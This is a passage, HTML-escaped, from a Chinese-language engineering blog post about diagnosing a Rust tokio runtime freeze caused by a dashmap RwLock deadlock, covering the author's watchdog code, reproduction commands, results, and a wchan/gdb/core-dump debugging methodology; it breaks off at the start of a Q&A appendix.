&lt;h3 id=&quot;watchdog-rs-dong-jie-jian-ce-wchan-gdb-qu-zheng&quot;&gt;watchdog.rs — 冻结检测 + wchan&#x2F;gdb 取证&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F;&amp;#x2F; 监控 3 路进度, 写者 5s 无进展 → HANG (insert 永久卡死)
pub async fn run(&amp;amp;self, max_secs: u64) {
    let mut last = (0, 0, 0);
    for i in 0..max_secs {
        tokio::time::sleep(Duration::from_secs(1)).await;
        let cur = (
            self.epoch_status.load(Ordering::Relaxed),
            self.epoch_writer.load(Ordering::Relaxed),
            self.epoch_inner.load(Ordering::Relaxed),
        );
        &amp;#x2F;&amp;#x2F; 冻结判定: 全停 或 写者卡死 (writer=0 持续 5s)
        if (i &amp;gt;= 2 &amp;amp;&amp;amp; cur == last) || (i &amp;gt;= 5 &amp;amp;&amp;amp; cur.1 == 0 &amp;amp;&amp;amp; last.1 == 0) {
            println!(&amp;quot;HANG: insert() 永久卡死, writer=0 (status={} inner={} 仍活)&amp;quot;, cur.0, cur.2);
            dump_threads();  &amp;#x2F;&amp;#x2F; &amp;#x2F;proc&amp;#x2F;self&amp;#x2F;task&amp;#x2F;*&amp;#x2F;wchan 分布
            try_gdb();       &amp;#x2F;&amp;#x2F; gdb -p &amp;lt;pid&amp;gt; -batch -ex &amp;#x27;thread apply all bt 10&amp;#x27;
            std::process::exit(42);
        }
        last = cur;
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gou-jian-yu-yun-xing-20s-nei-ming-zhong&quot;&gt;构建与运行（20s 内命中）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 下载完整项目
curl -sL https:&amp;#x2F;&amp;#x2F;blog.example.com&amp;#x2F;tokio-runtime-hang-repro&amp;#x2F;dashmap-hang&amp;#x2F; -o dashmap-hang.zip
# 或直接从 static 目录复制
cp -r static&amp;#x2F;tokio-runtime-hang-repro&amp;#x2F;dashmap-hang&amp;#x2F; . &amp;amp;&amp;amp; cd dashmap-hang&amp;#x2F;

# 构建
cargo build --release

# 运行 (默认 12 轮, 状态页 250ms, ~10s 内命中)
.&amp;#x2F;target&amp;#x2F;release&amp;#x2F;dashmap-hang

# 自定义参数
.&amp;#x2F;target&amp;#x2F;release&amp;#x2F;dashmap-hang 24 500   # 24 轮, 状态页 500ms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shi-ce-jie-guo-22-he-ben-ji-3-3-ming-zhong&quot;&gt;实测结果（22 核本机，3&#x2F;3 命中）&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;[5s] status=24 writer=0 inner=1948
HANG: B 对注册 insert() 永久卡死, writer=0 (status=24 inner=1958 仍活)
--- wchan 分布 ---
1 × dashmap-hang2: 0
15 × tokio-rt-worker: futex_wait_queue        ← 含 2 个卡在 dashmap 写锁的 worker
1 × tokio-rt-worker: do_epoll_wait
--- gdb ---
Thread 6 ...: #1 0x... in dashmap::lock::RawRwLock::lock_exclusive_slow ()
               #2 in dashmap::DashMap&amp;lt;K,V,S&amp;gt;::insert ()
               #3 in dashmap_hang2::main::{{closure}}::{{closure}} ()   ← B 对注册任务
Thread 3 ...: 同上 (第二个 B 对注册任务)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;与 v7&#x2F;v8 冻结核心逐字对齐&lt;&#x2F;strong&gt;（&quot;2 个 worker 栈 = &lt;code&gt;dashmap::lock::RawRwLock::lock_exclusive_slow&lt;&#x2F;code&gt; → futex 等待&quot;）。差异只在扩散层：样本里 status&#x2F;inner 任务仍被其余 14 个 worker 驱动（锁层死，runtime 未全冻）；生产里这 2 个 worker 之一恰好持有 io&#x2F;timer driver 令牌 → 连锁反应（见 QA Q3）→ 全 runtime 冻结。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-xian-qian-chun-ku-ya-ce-diao-bu-chu-lai-bei-e-si-vs-zhen-de-si-suo&quot;&gt;为什么先前&quot;纯库压测&quot;钓不出来（被饿死 vs 真的死锁）&lt;&#x2F;h2&gt;
&lt;p&gt;第一版（std 线程、任意读写风暴、8 组 × 60-120s）未冻结，只复现&quot;写者 1 op&#x2F;120s 的饿死&quot;。现在回看：那版缺的正是上面 ①②③：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;① 缺会话期永久 Ref&lt;&#x2F;strong&gt;：读者最长持锁 2-5ms（sleep 版）→ 锁总是快速在读者&#x2F;写者间流转，坏状态 1ms 内被下一个读者修复；生产里 A 对会话的 Ref &lt;strong&gt;跨整个会话持有&lt;&#x2F;strong&gt;（秒~分钟级），把&quot;读写者同时 parked&quot;中间态的寿命拉到 B 对 insert 必然撞上的尺度；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;② 缺同分片双写者突发&lt;&#x2F;strong&gt;：泛化压力里写者是&quot;打地鼠&quot;，读多写少，两个写者同毫秒对称对垒的形态不出现；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;③ 缺 tokio 任务调度&lt;&#x2F;strong&gt;：Barrier 同时性 + 16 worker 轮流被任务 park 阻塞的 runtime 语义（纯 std 线程是亲自动作，任务模型里插队&#x2F;抢占全由 scheduler 决定）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;顺带收获：&lt;code&gt;DashMap::new()&lt;&#x2F;code&gt; 默认分片 &lt;code&gt;(核数×4).next_power_of_two()&lt;&#x2F;code&gt;（22 核=128），泛化压测用 &lt;code&gt;with_capacity_and_shard_amount(4)&lt;&#x2F;code&gt; 但读者 32-Ref 时&lt;strong&gt;分片内重入计数与 ONE_WRITER 同空间&lt;&#x2F;strong&gt;的风险也有别的坑——不多展开，直接以&quot;固定 4 分片 + 生产锁序&quot;为正确路径。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gong-ju-yu-fang-fa-lun-ben-wen-ke-fu-yong-de-bu-fen&quot;&gt;工具与方法论（本文可复用的部分）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;wchan-kan-xian-cheng-zai-deng-shen-me-dan-yi-ding-kan-fen-bu&quot;&gt;wchan：看&quot;线程在等什么&quot;，但一定看分布&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;wchan&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;阻塞在 epoll_wait（事件循环驱动者在轮询）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;do_sys_poll&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;阻塞在 poll（tmux 等普通事件循环）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;futex_wait_queue&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;私有 futex 等待（tokio idle park &lt;strong&gt;或&lt;&#x2F;strong&gt; 死锁等待者——不能单独定性！）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;内核未解析出函数名（&lt;strong&gt;勿与上面的函数名混入判断列表&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ptrace_stop&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;被 tracer 停住&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;三原则：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;看&lt;strong&gt;全线程分布&lt;&#x2F;strong&gt;，不看单值；&lt;&#x2F;li&gt;
&lt;li&gt;单值 &lt;code&gt;futex_wait_queue&lt;&#x2F;code&gt; 无法区分空闲与死锁 → 用 core 读 &lt;code&gt;rdi&lt;&#x2F;code&gt;（futex 地址）：每线程栈区内各自独立的地址 = park 令牌；多个线程挤同一共享锁地址 = 死锁；&lt;&#x2F;li&gt;
&lt;li&gt;一次 &lt;code&gt;cat &#x2F;proc&#x2F;X&#x2F;task&#x2F;*&#x2F;wchan&lt;&#x2F;code&gt; 会把多个文件无分隔拼接——用 &lt;code&gt;for&lt;&#x2F;code&gt; 循环逐线程打印。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;fd-biao-fdinfo-liang-ge-ceng-ci-kan-epoll&quot;&gt;fd 表 + fdinfo：两个层次看 epoll&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;想知道&lt;&#x2F;th&gt;&lt;th&gt;看哪&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;这个进程是不是 epoll 事件循环&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ls -l &#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;fd&lt;&#x2F;code&gt; 里有没有 &lt;code&gt;anon_inode:[eventpoll]&lt;&#x2F;code&gt;（tokio&#x2F;nginx&#x2F;redis&#x2F;libuv 有；tmux&#x2F;poll 类没有）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;epoll 里注册了哪些 fd &#x2F; 什么事件&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;cat &#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;fdinfo&#x2F;&amp;lt;epollfd&amp;gt;&lt;&#x2F;code&gt;（&lt;code&gt;events: 8000201d&lt;&#x2F;code&gt; 逐位解码；注意 &lt;code&gt;8000_0000&lt;&#x2F;code&gt; = EPOLLET）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;有没有线程在驱动它&lt;&#x2F;td&gt;&lt;td&gt;wchan 统计 &lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt; 数量（0=无人轮询，1=健康）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;socket 是谁 &#x2F; 状态&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ss -tlnp&lt;&#x2F;code&gt; 或 &lt;code&gt;nsenter -n lsof -i&lt;&#x2F;code&gt;（fd 表只看类型）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;strace-gcore-gdb-de-bian-jie&quot;&gt;strace &#x2F; gcore &#x2F; gdb 的边界&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一个进程同时只能有一个 tracer&lt;&#x2F;strong&gt;：&lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;status&lt;&#x2F;code&gt; 的 &lt;code&gt;TracerPid&lt;&#x2F;code&gt; 非 0 时，任何新 attach 都会失败（&lt;code&gt;ptrace 不允许&lt;&#x2F;code&gt;）。排查中自己就跑出过孤儿 strace 卡住进程——工具也要清理现场。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;容器进程通常没有 CAP_SYS_PTRACE&lt;&#x2F;strong&gt;（docker 默认能力集），&lt;code&gt;strace -p&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;gdb -p&lt;&#x2F;code&gt; 直 attach 会 EPERM；&lt;code&gt;sudo&lt;&#x2F;code&gt; 在具备 CAP_SYS_PTRACE 的 ns 下可行。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;core 的文件路径映射&lt;&#x2F;strong&gt;：core 记录的是生成时的绝对路径（容器内如 &lt;code&gt;&#x2F;message-queue-enhance&lt;&#x2F;code&gt;）。在另一台机器分析时 gdb 会报路径警告——要么在相同路径环境分析，要么以命令行 exec 文件为准（警告可忽略）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;没 DWARF + 裸汇编 syscall() 无 CFI → &lt;code&gt;bt&lt;&#x2F;code&gt; 断 frame0&lt;&#x2F;strong&gt;：改用 &lt;code&gt;x&#x2F;8gx $rsp&lt;&#x2F;code&gt; 读栈、&lt;code&gt;info symbol&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;nm&lt;&#x2F;code&gt; 手动符号化；先找一个已知符号（如 WAKER_VTABLE）运行时地址反推 static-pie 基址，把一切地址转偏移。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;dai-dwarf-de-debug-ban-yong-yu-fen-xi-sheng-chan-core-gou-jian-lian-lu-yu-you-hua&quot;&gt;带 DWARF 的 debug 版用于分析生产 core（构建链路与优化）&lt;&#x2F;h2&gt;
&lt;p&gt;生产二进制 not stripped 但无 DWARF，&lt;code&gt;nm&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;addr2line&lt;&#x2F;code&gt; 可用但退化（只有函数名，无行号）。解法：&lt;strong&gt;源码重编 debug 版&lt;&#x2F;strong&gt;。但&quot;源码一样&quot;不是充分条件：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;决定 &lt;code&gt;.text&lt;&#x2F;code&gt; 布局的是：源码 + &lt;code&gt;Cargo.lock&lt;&#x2F;code&gt; + &lt;strong&gt;rustc 版本&lt;&#x2F;strong&gt; + profile（opt-level&#x2F;codegen-units&#x2F;lto&#x2F;panic 等）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;CARGO_PROFILE_RELEASE_DEBUG=N&lt;&#x2F;code&gt; 只增删 &lt;code&gt;.debug_*&lt;&#x2F;code&gt; 节，&lt;strong&gt;不移动函数布局&lt;&#x2F;strong&gt;（同 rustc&#x2F;同 profile 前提下）；build-id 会变，但 gdb 只用命令行指定的 exec，警告不碍事&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;debug-1-vs-debug-2-chang-yong-na-ge&quot;&gt;debug=1 vs debug=2：常用哪个&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;debug=1（默认推荐）&lt;&#x2F;th&gt;&lt;th&gt;debug=2（局部深挖）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;内容&lt;&#x2F;td&gt;&lt;td&gt;行号表 + 函数边界（栈回溯足够）&lt;&#x2F;td&gt;&lt;td&gt;+ 局部变量&#x2F;类型&#x2F;内联树（可看变量值）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;编译耗时&lt;&#x2F;td&gt;&lt;td&gt;少量增加（约 5-15%）&lt;&#x2F;td&gt;&lt;td&gt;明显增加（约 20-40%+）；&lt;strong&gt;且改 profile 值会令整个 release 构建缓存失效全量重编&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;产物 &lt;code&gt;.debug&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;41MB（实测 musl+debug=1）&lt;&#x2F;td&gt;&lt;td&gt;≥100MB 量级&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;适用&lt;&#x2F;td&gt;&lt;td&gt;任何 core 分析：&lt;code&gt;bt&lt;&#x2F;code&gt; 全栈 + 行号&lt;&#x2F;td&gt;&lt;td&gt;想 dump 局部变量值（如冻结时 Tunnel 字段）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;限制（两种级别都救不回的部分）&lt;&#x2F;strong&gt;：release &lt;code&gt;opt-level=3&lt;&#x2F;code&gt; 下被完全优化&#x2F;寄存器化的局部变量，gdb 会显示 &lt;code&gt;&amp;lt;optimized out&amp;gt;&lt;&#x2F;code&gt;——是优化问题不是 debug 级别问题；要看全变量需本地 &lt;code&gt;--debug&lt;&#x2F;code&gt; 复现。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gou-jian-lian-lu-yi-you-hua-ben-cang-ku-build-sh-docker-build-sh&quot;&gt;构建链路已优化（本仓库 build.sh &#x2F; docker-build.sh）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;release 构建默认 &lt;code&gt;CARGO_PROFILE_RELEASE_DEBUG=1&lt;&#x2F;code&gt;，产物为 &lt;code&gt;bin&#x2F;&amp;lt;bin&amp;gt;&lt;&#x2F;code&gt; 独立 &lt;code&gt;.debug&lt;&#x2F;code&gt;（&lt;code&gt;objcopy --only-keep-debug&lt;&#x2F;code&gt; 后 &lt;code&gt;--strip-debug --add-gnu-debuglink&lt;&#x2F;code&gt; 关联）；调试只需 &lt;code&gt;gdb bin&#x2F;&amp;lt;bin&amp;gt; &amp;lt;core&amp;gt;&lt;&#x2F;code&gt;（gdb 依 &lt;code&gt;.gnu_debuglink&lt;&#x2F;code&gt; 同目录自动关联 &lt;code&gt;.debug&lt;&#x2F;code&gt;），&lt;strong&gt;免参数出全栈&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;建议策略：&lt;strong&gt;&lt;code&gt;bin&lt;&#x2F;code&gt; 与 &lt;code&gt;.debug&lt;&#x2F;code&gt; 分文件、随包同目录发布&lt;&#x2F;strong&gt;——线上动态加载的二进制不背 DWARF（体积&#x2F;信息暴露与现状持平，实测 18MB vs 57MB 含 DWARF 版），core 分析时 gdb 就地关联&lt;&#x2F;li&gt;
&lt;li&gt;编 debug=2 全量版：&lt;code&gt;CARGO_PROFILE_RELEASE_DEBUG=2 bash docker-build.sh bash build.sh&lt;&#x2F;code&gt;（docker-build.sh 已做环境变量透传）；&lt;strong&gt;必须走容器&#x2F;同工具链构建，保证 rustc 版本与生产一致&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;容器镜像已含 binutils（build-essential 依赖），&lt;code&gt;objcopy&lt;&#x2F;code&gt; 可直接用，无需改 Dockerfile&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 交叉构建注意：与本项目一致，构建目标是 x86_64-unknown-linux-musl
CARGO_PROFILE_RELEASE_DEBUG=2 bash docker-build.sh bash build.sh

# 布局校验（严格版——比对（地址,名称）对序列；只比名称集不是充分条件）
nm -C &amp;lt;debug2-bin&amp;gt; | awk &amp;#x27;NF==3{print $1, $3}&amp;#x27; | sort | md5sum
nm -C &amp;lt;生产bin&amp;gt;    | awk &amp;#x27;NF==3{print $1, $3}&amp;#x27; | sort | md5sum

# 一致 → gdb &amp;lt;debug2-bin&amp;gt; &amp;lt;core&amp;gt;：bt 全栈 + frame N + info locals（变量值，尽优化保留量）
# 不一致 → 符号桥接：生产地址→(生产nm)→符号名→(debug版nm)→地址（帧级别可用，变量读取受限）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;执行环境注意&lt;&#x2F;strong&gt;：本机缺 gdb&#x2F;lldb 本体（rust-gdb 需系统 gdb）；core 用 &lt;code&gt;docker cp&lt;&#x2F;code&gt; 进容器（如 &lt;code&gt;&#x2F;tmp&#x2F;core&lt;&#x2F;code&gt;）配合容器内 &lt;code&gt;apt install gdb&lt;&#x2F;code&gt;（Ubuntu 20.04 基线）分析；生产卷挂载的 &lt;code&gt;&#x2F;message-queue-enhance&lt;&#x2F;code&gt; 不要覆盖，debug 版从 &lt;code&gt;&#x2F;tmp&#x2F;mq-debug&lt;&#x2F;code&gt; 路径给 gdb。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;另外两个小坑&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pkill -f&lt;&#x2F;code&gt; 会匹配到&lt;strong&gt;执行它的命令行自己&lt;&#x2F;strong&gt;（模式串出现在 shell 命令里）→ 会话自杀；用精确 PID（&lt;code&gt;ps -ef | awk&lt;&#x2F;code&gt; 取号）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;nsenter -t &amp;lt;pid&amp;gt; -n lsof&lt;&#x2F;code&gt; 只进网络命名空间时，PID 显示仍是宿主号（不能当成容器 pid 用）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;排查工具建议清单&lt;&#x2F;strong&gt;（本次缺失、下轮优先补齐）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;tokio-console（tokio_unstable + console_subscriber）：运行时任务&#x2F;IO 驱动观测&lt;&#x2F;li&gt;
&lt;li&gt;bpftrace&#x2F;perf（futex 地址→锁归属）：服务器 &lt;code&gt;perf_event_paranoid=4&lt;&#x2F;code&gt;、需 CAP_PERFMON，谨慎另议&lt;&#x2F;li&gt;
&lt;li&gt;容器 loopback tcpdump（&lt;code&gt;tcpdump -i lo port 8080&lt;&#x2F;code&gt;）+ caddy 侧日志：比对&quot;完成 101 &#x2F; 卡死请求&quot;在 caddy:10200→8080 链路的时序&lt;&#x2F;li&gt;
&lt;li&gt;排查纪律：procfs&#x2F;debug 类结果与命令全量留存（wchan 分布、fdinfo、core 路径、TracerPid），避免二次查证&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;fu-lu-gai-nian-su-cha-biao-shen-du-xue-xi-yong-ge-tiao-mu-zhan-kai-ji-ben-zhang-xiang-guan-xiao-jie&quot;&gt;附录：概念速查表（深度学习用，各条目展开即本章相关小节）&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;术语&lt;&#x2F;th&gt;&lt;th&gt;是什么&lt;&#x2F;th&gt;&lt;th&gt;在本案中的角色&lt;&#x2F;th&gt;&lt;th&gt;展开看&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;driver 令牌（单 owner）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;tokio multi-thread runtime 中，同一时刻只有一个 worker 有资格 poll io&#x2F;timer driver（防惊群）&lt;&#x2F;td&gt;&lt;td&gt;被卡死在锁里的 worker 占走 → 无人轮询 epoll&#x2F;timer → 全 runtime 断供唤醒源&lt;&#x2F;td&gt;&lt;td&gt;QA Q2&#x2F;Q3、&lt;code&gt;连锁反应&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;park_condvar &#x2F; wait_until&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;worker 空闲时的&quot;条件变量等待&quot;；timeout 来自最近 timer（无 timer 时无限等）&lt;&#x2F;td&gt;&lt;td&gt;其余 worker 的常态；&quot;醒了也没资格干活&quot;的所在地&lt;&#x2F;td&gt;&lt;td&gt;QA Q2&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;parking_lot_core park&#x2F;unpark&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;用户态 futex park + 令牌唤醒原语（parking_lot 生态的底层）&lt;&#x2F;td&gt;&lt;td&gt;dashmap 自研锁依赖它实现等待队列&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;根因锁定&lt;&#x2F;code&gt;、dashmap &lt;code&gt;lock.rs&lt;&#x2F;code&gt; 源码片段&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;DashMap 自研 RawRwLock&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;dashmap 6.x 私有读写锁（状态位：&lt;code&gt;ONE_WRITER&#x2F;WRITERS_PARKED&#x2F;READERS_PARKED&lt;&#x2F;code&gt;；非 parking_lot 原生 RwLock）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;死锁发生地&lt;&#x2F;strong&gt;：多 writer 竞争下丢失唤醒&#x2F;饥饿&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;根因锁定&lt;&#x2F;code&gt;、QA Q1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;DashMap Ref 跨 await&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;分片读锁 guard 在 &lt;code&gt;.await&lt;&#x2F;code&gt; 间未 drop（dashmap 文档红线），dashmap 6 的 Ref 为 Send 故编译能过&lt;&#x2F;td&gt;&lt;td&gt;我们的独立代码红线，放大库死锁窗口（位置：&lt;code&gt;status.rs::collect_tunnel_rows&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;QA Q1、&lt;code&gt;根因锁定&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;wchan &#x2F; futex_do_wait&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;内核视角每个线程的等待点；&lt;code&gt;futex_do_wait&lt;&#x2F;code&gt; 对 tokio&#x2F;dashmap 都是&quot;等 futex&quot;&lt;&#x2F;td&gt;&lt;td&gt;判别&quot;活死&quot;的快速路：全分布里是否有 &lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;第三步&lt;&#x2F;code&gt;、附录 wchan 表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;gcore + .gnu_debuglink&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;冻结态全线程 core dump；&lt;code&gt;.debug&lt;&#x2F;code&gt; 分离 DWARF 用 debuglink 关联，gdb 免参数加载&lt;&#x2F;td&gt;&lt;td&gt;全栈回溯（本案例第一次闭环）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;带 DWARF 的 debug 版&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;livetick 探针&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;main.rs&lt;&#x2F;code&gt; 的 5s interval 日志：冻结后是否还在打 = timer 驱动是否活着&lt;&#x2F;td&gt;&lt;td&gt;冻结瞬间证明 timer 停摆（生产与复现一致记录）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;触发过程与冻结签名&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;重叠对注册&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;旧隧道对存活时新对并发注册（agent+ vscode 两条隧道同一毫秒级到达）&lt;&#x2F;td&gt;&lt;td&gt;触发冻结的最小用户操作序列（生产=唤醒会话；复现=repro7&#x2F;8）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;复现成功&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;fu-lu-qa-ji-lu-pai-cha-zhong-de-gao-pin-yi-wen&quot;&gt;附录：QA 记录（排查中的高频疑问）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;q1-dashmap-wei-shen-me-insert-hui-si-suo-shi-ban-ben-bu-dui-huan-shi-dai-ma-wen-ti&quot;&gt;Q1：dashmap 为什么 insert 会死锁？是版本不对还是代码问题？&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;都不是&quot;版本用错&quot;，但两者都有贡献——双因叠加&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
